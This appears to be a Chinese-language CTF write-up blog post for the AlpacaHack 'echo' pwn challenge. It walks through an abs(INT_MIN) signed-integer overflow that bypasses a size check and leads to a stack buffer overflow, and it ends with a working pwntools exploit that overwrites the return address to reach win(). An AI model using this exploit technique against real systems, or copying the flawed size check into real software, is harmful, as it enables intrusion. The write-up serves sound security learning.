AlpacaHack Round 1 (Pwn) echo(Abs有符号整数溢出,栈溢出)

网址(内容来自互联网,风险自担)

链接: alpacahack

题目

在这里插入图片描述

做法

下载压缩包,解压
在这里插入图片描述
开虚拟机checksec(不知道是哪个文件的进虚拟机拖文件的时候自然就知道了,是echo,熟悉的文件标志)
在这里插入图片描述
在这里插入图片描述

64位,没开栈保护
这里,我们看到压缩包解压后还有个C源文件,我们点进去看看(可以下vsCode等工具打开)
在这里插入图片描述
完整代码如下

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

void get_data(char *buf, unsigned size) {
  unsigned i;
  char c;

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

还是先找main函数,在最后,没啥东西,但我们看到它调用了一个echo函数,找到这个函数看看

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

定义了一个size,声明了一个字符数组 buf,数组大小由BUF_SIZE 决定,我们先找这个size看看

void echo() {
  int size;
  char buf[BUF_SIZE];

打印”Size:“,然后让size = get_size(),结合echo函数,都指向get_size,我们找到它看看

  // Input size
  printf("Size: ");
  size = get_size();

定义size = 0,然后读取一个十进制整数,并将其存储到 size 变量中
(%d 是格式说明符(用于读取或输出十进制整数))

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

看到这没提到啥函数了,顺势往下看
在第20行我们看到abs,怀疑是否为Abs有符号整数溢出
让用户输入的数变成绝对值,查看是否大于第5行定义的BUF_SIZE(0x100)
转换一下进制,0x100=256(十进制)
若大于,则异常退出(exit(0)进程正常终止,exit(1)进程异常终止)

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

Abs有符号整数溢出

eg.对于32位int(int一般都是32位的)类型,当INT_MIN(某种整数类型所能表示的最小数值)为-2147483648时,它的绝对值会变成2147483648,但是由于int的最大值是2147483647,因此无法表示,发生溢出
然后,我们再看看其他没看到的函数
get_data把size的值放进buf(结合栈保护没打开,我们考虑是否有栈溢出)

  // Input data
  printf("Data: ");
  get_data(buf, size);

发现一个for循环,令i=size

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

然后看到第8行的win函数,我们看到"/bin/cat"和"/flag.txt",可以当做我们的后门函数,
如果 execve 调用成功,当前进程会开始执行 /bin/cat 程序,并显示 /flag.txt 文件的内容,因此,我们exp最后与靶机交互的命令也要改改

void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

其他就没啥了(这个C源文件跟IDA反编译后内容差不多,主要是找C源文件找到疑点却没有的东西,比如buf,考虑栈溢出)
扔进IDA(64位),找到main,F5反编译
在这里插入图片描述
上面分析过,没啥东西,其他函数点进去也没啥东西,我们点进echo函数看看
在这里插入图片描述
我们看到了上面分析的get_size和get_data函数
上面分析到get_data将size的值给了buf,然后我们去看buf的栈(可能是我IDA的问题,我点不进去buf,只能根据别的wp得知offset=280,不过也没关系,这里跟最简单的栈溢出题一样,知道思路就可以了)
写exp之前nc一下看看什么时候发送东西造成溢出
在这里插入图片描述
exp
在这里插入图片描述


#导入pwn模块
from pwn import *

#与靶机进行连接
r = remote("34.170.146.252",11081)

#合适位置进行abs有符号整数溢出
r.sendlineafter(b"Size:",b"-2147483648")

#合适位置发送字节数据和后门函数win
r.sendlineafter(b"Data:",b'A'*280 + p64(0x4011F6))

#打印返回的flag
print(r.recvall())

常规,得出flag——Alpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz}
在这里插入图片描述

更新

于2025.4.16

posted @ 2025-04-16 19:11  Snk0xHeart  阅读(10)  评论(0)    收藏  举报
div#top_nav { display:none } div#bannerbar {display: none;} .noShow{display:none!important} #thumsCanvas { position: absolute; }